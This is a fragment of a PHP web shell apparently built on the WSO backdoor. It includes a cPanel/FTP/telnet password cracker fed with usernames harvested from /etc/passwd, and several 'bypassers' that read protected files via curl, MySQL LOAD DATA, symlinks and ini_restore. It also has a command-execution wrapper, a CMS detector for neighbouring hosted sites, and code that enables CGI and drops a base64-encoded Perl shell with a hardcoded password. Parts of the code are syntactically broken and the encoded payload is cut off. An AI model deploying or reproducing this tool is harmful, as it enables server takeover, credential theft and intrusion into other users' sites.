1110wsoHeader();
1111// Cpanel Cracker
1112echo "<center>
1113<h1>Cpanel Cracker</h1>
1114<br>
1115";
1116 {
1117 $cpanel_port="2082";
1118 $connect_timeout=5;
1119 <center>
1120 <form method=post>
1121 <table style="border:none; overflow:hidden; height:90px;" border=1 cellpadding=4>
1122 <tr>
1123 <td align=center colspan=2>Target <br><input type=text name="server" value="localhost" class=sbox></td>
1124 </tr>
1125 <tr>
1126 <td align=center>[ User names ]</td><td align=center>[ Password ]</td>
1127 </tr>
1128 <tr>
1129 <td align=center><textarea name=username rows=20 cols=20 class=box>if($os != "Windows")
1130 {
1131 if(@file('/etc/passwd'))
1132 {
1133 $users = file('/etc/passwd');
1134 foreach($users as $user)
1135 {
1136 $user = explode(':', $user);
1137 echo $user[0] . "\n";
1138 }
1139 }
1140 else
1141 {
1142 $temp = "";
1143 $val1 = 0;
1144 $val2 = 1000;
1145 for(;$val1 <= $val2;$val1++)
1146 {
1147 $uid = @posix_getpwuid($val1);
1148 if ($uid)
1149 $temp .= join(':',$uid)."\n";
1150 }
1151
1152 $temp = trim($temp);
1153
1154 if($file5 = fopen("test.txt","w"))
1155 {
1156 fputs($file5,$temp);
1157 fclose($file5);
1158
1159 $file = fopen("test.txt", "r");
1160 while(!feof($file))
1161 {
1162 $s = fgets($file);
1163 $matches = array();
1164 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1165 $matches = str_replace("home/","",$matches[1]);
1166 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1167 continue;
1168 echo $matches;
1169 }
1170 fclose($file);
1171 }
1172 }
1173 }</textarea></td><td align=center><textarea name=password rows=20 cols=20 class=box></textarea></td>
1174 </tr>
1175 <tr>
1176 <td align=center colspan=2>Guess options : <label><input name="cpcrack" type="radio" value="cpanel" checked>[ Cpanel(2082) ]</label><label><input name="cpcrack" type="radio" value="ftp"> [ Ftp(21) ]</label><label><input name="cpcrack" type="radio" value="telnet"> [ Telnet(23) ]</label></td>
1177 </tr>
1178 <tr>
1179 <td align=center colspan=2>Timeout delay : <br><input type="text" name="delay" value=6 class=sbox></td>
1180 </tr>
1181 <tr>
1182 <td align=center colspan=2><input type="hidden" name="a" value="cpcrack"><input type="submit" name="cpcrack" value=">>" class=but></td>
1183 </tr>
1184 </table>
1185 </form>
1186 </center>
1187 }
1188wsoFooter();
1189 }
1190///Menus
1191####################### Baypassers #########################
1192function actionbypss() {
1193wsoHeader();
1194echo'
1195<center>
1196<a href=# onclick="g(\'bypassing\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Jijle3 Bypasser ]</a><br><br>
1197<a href=# onclick="g(\'etcnmd\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Server User Function Bypasser ]</a><br><br>
1198<a href=# onclick="g(\'etcbaypass\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Etc/passwd/ Function Bypasser ]</a><br><br>
1199<a href=# onclick="g(\'SafeMode\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Safe Mode Bypass ]</a><br>
1200';
1201wsoFooter();}
1202####################### bypassing #########################
1203function actionbypassing() {
1204wsoHeader();
1205echo '<center><h1>Jijle3 Function Bypasser </h1>';
1206error_reporting(0);
1207set_magic_quotes_runtime(0);
1208if(version_compare(phpversion(), '4.1.0') == -1)
1209 {$_POST = &$HTTP_POST_VARS;$_GET = &$HTTP_GET_VARS;
1210 $_SERVER = &$HTTP_SERVER_VARS;
1211 }function inclink($link,$val){$requ=$_SERVER["REQUEST_URI"];
1212if (strstr ($requ,$link)){return preg_replace("/$link=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr ($requ,"showsc")){return preg_replace("/showsc=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}
1213elseif (strstr ($requ,"hlp")){return preg_replace("/hlp=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr($requ,"?")){return $requ."&".$link."=".$val;}
1214else{return $requ."?".$link."=".$val;}}
1215function delm($delmtxt){print"<center><table bgcolor=black style='border:1px solid #008080' width=99% height=2%>";print"<tr><td><b><center><font size=2 color=#008080>$delmtxt</td></tr></table></center>";}
1216function callfuncs($cmnd){if (function_exists(shell_exec)){$scmd=shell_exec($cmnd);
1217$nscmd=htmlspecialchars($scmd);print $nscmd;}
1218elseif(!function_exists(shell_exec)){exec($cmnd,$ecmd);
1219$ecmd = join("\n",$ecmd);$necmd=htmlspecialchars($ecmd);print $necmd;}
1220elseif(!function_exists(exec)){$pcmd = popen($cmnd,"r");
1221while (!feof($pcmd)){ $res = htmlspecialchars(fgetc($pcmd));;
1222print $res;}pclose($pcmd);}elseif(!function_exists(popen)){
1223ob_start();system($cmnd);$sret = ob_get_contents();ob_clean();print htmlspecialchars($sret);}elseif(!function_exists(system)){
1224ob_start();passthru($cmnd);$pret = ob_get_contents();ob_clean();
1225print htmlspecialchars($pret);}}
1226function input($type,$name,$value,$size)
1227{if (empty($value)){print "<input type=$type name=$name size=$size>";}
1228elseif(empty($name)&&empty($size)){print "<input type=$type value=$value >";}
1229elseif(empty($size)){print "<input type=$type name=$name value=$value >";}
1230else {print "<input type=$type name=$name value=$value size=$size >";}}
1231function permcol($path){if (is_writable($path)){print "<font color=#008080>";
1232callperms($path); print "</font>";}
1233elseif (!is_readable($path)&&!is_writable($path)){print "<font color=red>";
1234callperms($path); print "</font>";}
1235else {print "<font color=white>";callperms($path);}}
1236if ($dlink=="dwld"){download($_REQUEST['dwld']);}
1237function download($dwfile) {$size = filesize($dwfile);
1238@header("Content-Type: application/force-download;name=$dwfile");
1239@header("Content-Transfer-Encoding: binary");
1240@header("Content-Length: $size");
1241@header("Content-Disposition: attachment; filename=$dwfile");
1242@header("Expires: 0");
1243@header("Cache-Control: no-cache, must-revalidate");
1244@header("Pragma: no-cache");
1245@readfile($dwfile); exit;}
1246$nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd();
1247$sf="<form method=post>";$ef="</form>";
1248$st="<table style=\"border:1px #dadada solid \" width=100% height=100%>";
1249$et="</table>";$c1="<tr><td height=22% style=\"border:1px #dadada solid \">";
1250$c2="<tr><td style=\"border:1px #dadada solid \">";$ec="</tr></td>";
1251$sta="<textarea cols=157 rows=23>";$eta="</textarea>";
1252$sfnt="<font face=tahoma size=2 color=#008080>";$efnt="</font>";
1253///////////////////////////////
1254 //
1255$mysql_use = "no"; //"yes" //
1256$mhost = "localhost"; //
1257$muser = "root"; //
1258$mpass = "pass"; //
1259$mdb = "name"; //
1260$them = "xxx"; //any site //
1261$you = "xx"; //your username //
1262$flib = "hack15.txt"; //
1263$folder = "hack15.txt"; //
1264///////////////////////////////
1265################# PhP Hacked ########################
1266// read greet //
1267if ($linux=='greet')
1268{
1269 echo "</textarea>";
1270}
1271// read file unzend sorce //
1272if(empty($_POST['sorce'])){
1273} else {
1274}
1275// read file unzend functions //
1276 if(empty($_POST['func'])){
1277} else {
1278echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
1279$zeen=$_POST['func'];
1280require("$zeen");
1281echo "Database : ".$config['Database']['dbname']." <X> ";
1282echo "UserName : ".$config['MasterServer']['username']." <X> ";
1283echo "Password : ".$config['MasterServer']['password']." <X> ";
1284echo "</textarea></p>";
1285}// read file symlink ( ) //
1286if(empty($_POST['sym'])){
1287} else {
1288echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
1289$fp = fopen("hack15.txt","w+");
1290fwrite($fp,"Php Hacker Was Here");
1291@unlink($flib);
1292$sym = "/home/" . $them . "/public_html/" . $k;
1293$link = "/home/" . $you . "/public_html/" . $folder . "/" . $flib;
1294@symlink($sym, $link);
1295if ($k{0} == "/") {
1296echo "<script> window.location = '" . $flib . "'</script>";
1297}else{
1298echo "<pre><xmp>";
1299echo readlink($flib) . "\n";
1300echo "Filesize: " . linkinfo($flib) . "B\n\n";
1301echo file_get_contents("http://" . $_SERVER['HTTP_HOST'] . "/" . $folder . "/" . $flib);
1302 echo "</textarea>";
1303}
1304}
1305
1306// read file plugin ( ) //
1307if(empty($_POST['plugin'])){
1308} else {
1309echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
1310for($uid=0;$uid<60000;$uid++){ //cat /etc/passwd
1311 $ara = posix_getpwuid($uid);
1312 if (!empty($ara)) {
1313 while (list ($key, $val) = each($ara)){
1314 print "$val:";
1315 }
1316 print "\n";
1317 }
1318 }
1319 echo "</textarea>";
1320}
1321// read file id ( ) //
1322if ($_POST['rid'] ){
1323echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
1324 for($uid=0;$uid<60000;$uid++){ //cat /etc/passwd
1325$ara = posix_getpwuid($uid);
1326 if (!empty($ara)) {
1327while (list ($key, $val) = each($ara)){
1328print "$val:";
1329}
1330 print "\n";
1331}
1332 }
1333echo "</textarea>";
1334break;
1335
1336 }
1337// read file imap ( ) //
1338$string = !empty($_POST['rimap']) ? $_POST['rimap'] : 0;
1339if(empty($_POST['rimap'])){
1340} else {
1341echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
1342$stream = imap_open($string, "", "");
1343$str = imap_body($stream, 1);
1344echo "</textarea>";
1345}
1346// read file Curl ( ) //
1347if(empty($_POST['curl'])){
1348} else {
1349echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
1350$m=$_POST['curl'];
1351$ch =
1352curl_init("file:///".$m."�/../../../../../../../../../../../../".__FILE__);
1353curl_exec($ch);
1354var_dump(curl_exec($ch));
1355echo "</textarea>";
1356}
1357// read file SQL ( ) //
1358if(empty($_POST['ssql'])){
1359} else {
1360echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
1361$file=$_POST['ssql'];
1362$mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
1363$mysql_files = explode(':', $mysql_files_str);
1364$sql = array (
1365"USE $mdb",
1366'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
1367"LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS TERMINATED BY '__THIS_NEVER_HAPPENS__' ESCAPED BY '' LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
1368"SELECT a FROM $tbl LIMIT 1"
1369);
1370mysql_connect ($mhost, $muser, $mpass);
1371 foreach ($sql as $statement) {
1372 $q = mysql_query ($statement);
1373 if ($q == false) die (
1374 "FAILED: " . $statement . "\nREASON: " . mysql_error () . "\n"
1375 );
1376 if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
1377 echo htmlspecialchars($r[0]);
1378 mysql_free_result ($q);
1379 }
1380echo "</textarea>";
1381}
1382// read file copy & ini ( ) //
1383if (isset ($_REQUEST['safefile'])){
1384$file=$_REQUEST['safefile'];$tymczas="";if(empty($file)){
1385if(empty($_GET['file'])){if(empty($_POST['file'])){
1386print "<center>[ Please choose a file first to read it using copy() ]</center>";
1387} else {$file=$_POST['file'];}} else {$file=$_GET['file'];}}
1388$temp=tempnam($tymczas, "cx");if(copy("compress.zlib://".$file, $temp)){
1389$zrodlo = fopen($temp, "r");$tekst = fread($zrodlo, filesize($temp));
1390fclose($zrodlo);echo "<center><pre>".$sta.htmlspecialchars($tekst).$eta."</pre></center>";unlink($temp);} else {
1391print "<FONT COLOR=\"RED\"><CENTER>Sorry, Can't read the selected file !!
1392</CENTER></FONT><br>";}}if (isset ($_REQUEST['inifile'])){
1393ini_restore("safe_mode");ini_restore("open_basedir");
1394print "<center><pre>".$sta;
1395if (include(htmlspecialchars($_REQUEST['inifile']))){}else {print "Sorry, can't read the selected file !!";}
1396}
1397</center><table bgcolor=#2A2A2A style="border:2px solid black" width=100%><tr><td width=50%><div align=left><table style="border:1px #dadada solid " width=100% height=100%>
1398<tr><td height=22% style="border:1px #dadada solid "><div><b>
1399<center>
1400Using copy() function</div></tr></td><tr>
1401<td style="border:1px #dadada solid "><form method=post>
1402<input type=text name=safefile value=/etc/passwd size=75 >
1403<input type=hidden name=scdir value=/etc/passwd >
1404<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass >
1405</center></tr></td></form></table></td><td height=20% width=50%><div align=right><table style="border:1px #dadada solid " width=100% height=100%><tr>
1406<td height=22% style="border:1px #dadada solid "><div><b><center>
1407Using ini_restore() function</div></tr></td><tr>
1408<td style="border:1px #dadada solid "><form method=post>
1409<input type=text name=inifile value=/etc/passwd size=75 >
1410<input type=hidden name=scdir value=/etc/passwd >
1411<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass >
1412</center></tr></td></form></table></td></tr></table><table bgcolor=#2A2A2A style="border:2px solid black" width=100%><tr>
1413<td width=50%><div align=left><table style="border:1px #dadada solid " width=100% height=100%><tr><td height=22% style="border:1px #dadada solid "><div><b><center>
1414Using sql() function</div></tr></td><tr>
1415<td style="border:1px #dadada solid "><form method=post>
1416<input type=text name=ssql value=/etc/passwd size=75 >
1417<input type=hidden name=scdir value=/etc/passwd >
1418<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass >
1419</center></tr></td></form></table></td><td height=20% width=50%><div align=right><table style="border:1px #dadada solid " width=100% height=100%><tr><td height=22% style="border:1px #dadada solid "><div><b><center>
1420Using Curl() function</div></tr></td><tr>
1421<td style="border:1px #dadada solid "><form method=post>
1422<input type=text name=curl value=/etc/passwd size=75 >
1423<input type=hidden name=scdir value=/etc/passwd >
1424<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass >
1425</center></tr></td></form></table></td></tr></table>
1426<table bgcolor=#2A2A2A style="border:2px solid black" width=100%><tr><td width=50%><div align=left>
1427<table style="border:1px #dadada solid " width=100% height=100%><tr><td height=22% style="border:1px #dadada solid "><div><b><center>
1428Using imap() function</div></tr></td><tr>
1429<td style="border:1px #dadada solid "><form method=post>
1430<input type=text name=rimap value=/etc/passwd size=75 >
1431<input type=hidden name=scdir value=/etc/passwd >
1432<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass >
1433</center></tr></td></form></table></td>
1434<td height=20% width=50%><div align=right>
1435<table style="border:1px #dadada solid " width=100% height=100%><tr><td height=22% style="border:1px #dadada solid "><div><b><center>
1436Using id() function</div></tr></td><tr>
1437<td style="border:1px #dadada solid "><form method=post>
1438<input type=text name=rid value=/etc/passwd size=75 >
1439<input type=hidden name=scdir value=/etc/passwd >
1440<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass >
1441</center></tr></td></form></table></td></tr></table><table bgcolor=#2A2A2A style="border:2px solid black" width=100%>
1442<tr><td width=50%><div align=left><table style="border:1px #dadada solid " width=100% height=100%><tr><td height=22% style="border:1px #dadada solid "><div><b><center>
1443Using plugin() function</div></tr></td><tr>
1444<td style="border:1px #dadada solid "><form method=post>
1445<input type=text name=plugin value=/etc/passwd size=75 >
1446<input type=hidden name=scdir value=/etc/passwd >
1447<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass >
1448</center></tr></td></form></table></td><td height=20% width=50%><div align=right><table style="border:1px #dadada solid " width=100% height=100%><tr>
1449<td height=22% style="border:1px #dadada solid "><div><b><center>
1450Using symlink() function</div></tr></td><tr>
1451<td style="border:1px #dadada solid "><form method=post>
1452<input type=text name=sym value=/etc/passwd size=75 >
1453<input type=hidden name=scdir value=/etc/passwd >
1454<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass >
1455</center></tr></td></form></table></td></tr></table>
1456wsoFooter(); }
1457####################### symlinker #########################
1458function actionsymlinker() {
1459wsoHeader();
1460echo'
1461<center>
1462<a href=# onclick="g(\'sym\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Symlink File ]</a><br><br>
1463<a href=# onclick="g(\'symserver\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Symlink Server From Named.conf ]</a><br><br>
1464<a href=# onclick="g(\'cms\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ CMS Detector ]</a><br>
1465';
1466wsoFooter();}
1467####################### CMS #########################
1468function actioncms() {
1469wsoHeader();
1470 <form action="?y=echo $pwd;&x=cms_detect" method="post">
1471<center><b><h1>CMS Detector</h1></b></center><br><br>
1472 if(!file_exists('pee.tmp')){
1473@fopen('pee.tmp', 'w');
1474
1475echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
1476echo'<tr><td><center><b>[ Web Site ]</b></center></td><td><center><b>[ User ]</b></center></td><td><center><b>[ CMS ]</b></center></td></table>';
1477
1478$p = 0;
1479
1480if(is_readable("/var/named")){
1481$list = scandir("/var/named");
1482$current_dir = posix_getcwd();
1483$dir = explode("/",$current_dir);
1484foreach($list as $domain){
1485if(strpos($domain,".db"))
1486{
1487 $domain = str_replace('.db','',$domain);
1488 $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
1489
1490error_reporting(0);
1491
1492$link = $pageURL.'pee/'.$owner['name'];
1493
1494cms_add($link,$domain,$owner['name'],"WordPress");
1495cms_add($link,$domain,$owner['name'],"Joomla");
1496cms_add($link,$domain,$owner['name'],"vBulletin");
1497cms_add($link,$domain,$owner['name'],"WHMCS");
1498cms_add($link,$domain,$owner['name'],"PhpBB");
1499cms_add($link,$domain,$owner['name'],"MyBB");
1500cms_add($link,$domain,$owner['name'],"IPB");
1501cms_add($link,$domain,$owner['name'],"SMF");
1502cms_add($link,$domain,$owner['name'],"Drupal");
1503cms_add($link,$domain,$owner['name'],"e107");
1504cms_add($link,$domain,$owner['name'],"Seditio");
1505cms_add($link,$domain,$owner['name'],"osCommerce");
1506}
1507}
1508}
1509}else{
1510echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
1511echo'<tr><td><center><b>[ Web Site ]</b></center></td><td><center><b>[ User ]</b></center></td><td><center><b>[ CMS ]</b></center></td></table><br><br>';
1512$content = file_get_contents($pageURL.'pee.tmp');
1513echo $content;
1514}
1515wsoFooter();}
1516##################### CGI SHELL ####################
1517function actioncgi() {
1518wsoHeader();
1519echo '<center><h1>Sample CGI Perl Shell</h1><div class=content>';
1520echo '<center><h2>Password : jijle3</h2><div class=content>';
1521
1522mkdir('cgi-telnet', 0755);
1523 chdir('cgi-telnet');
1524 $kokdosya = ".htaccess";
1525 $dosya_adi = "$kokdosya";
1526 $dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
1527 $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
1528
1529AddType application/x-httpd-cgi .cin
1530
1531AddHandler cgi-script .cin
1532AddHandler cgi-script .cin";
1533 fwrite ( $dosya , $metin ) ;
1534 fclose ($dosya);
1535$cgishellizocin = '
1536IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij5bIFNhbXBsZSBDR0kgU2hlbGwgXS9iPiAjIHNlcnZlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIENvbmZpZ3VyYXRpb246IFlvdSBuZWVkIHRvIGNoYW5nZSBvbmx5ICRQYXNzd29yZCBhbmQgJFdpbk5ULiBUaGUgb3RoZXINCiMgdmFsdWVzIHNob3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiRQYXNzd29yZCA9ICJqaWpsZTMiOwkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzDQoJCQkJIyB0byBsb2dpbi4NCg0KJFdpbk5UID0gMDsJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmDQoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQ0KCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4NCg0KJE5UQ21kU2VwID0gIiYiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMNCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMNCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQ0KCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0DQoJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdA0KIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLg0KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9Lg0KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZg0KIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQ0KIyBzY3JpcHRzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJlYWRQYXJzZSANCnsNCglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOw0KCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7DQoJDQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87DQoNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCg0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgPSAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87DQoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCgkJCSRpbnska2V5fSAuPSAkdmFsOw0KCQl9DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t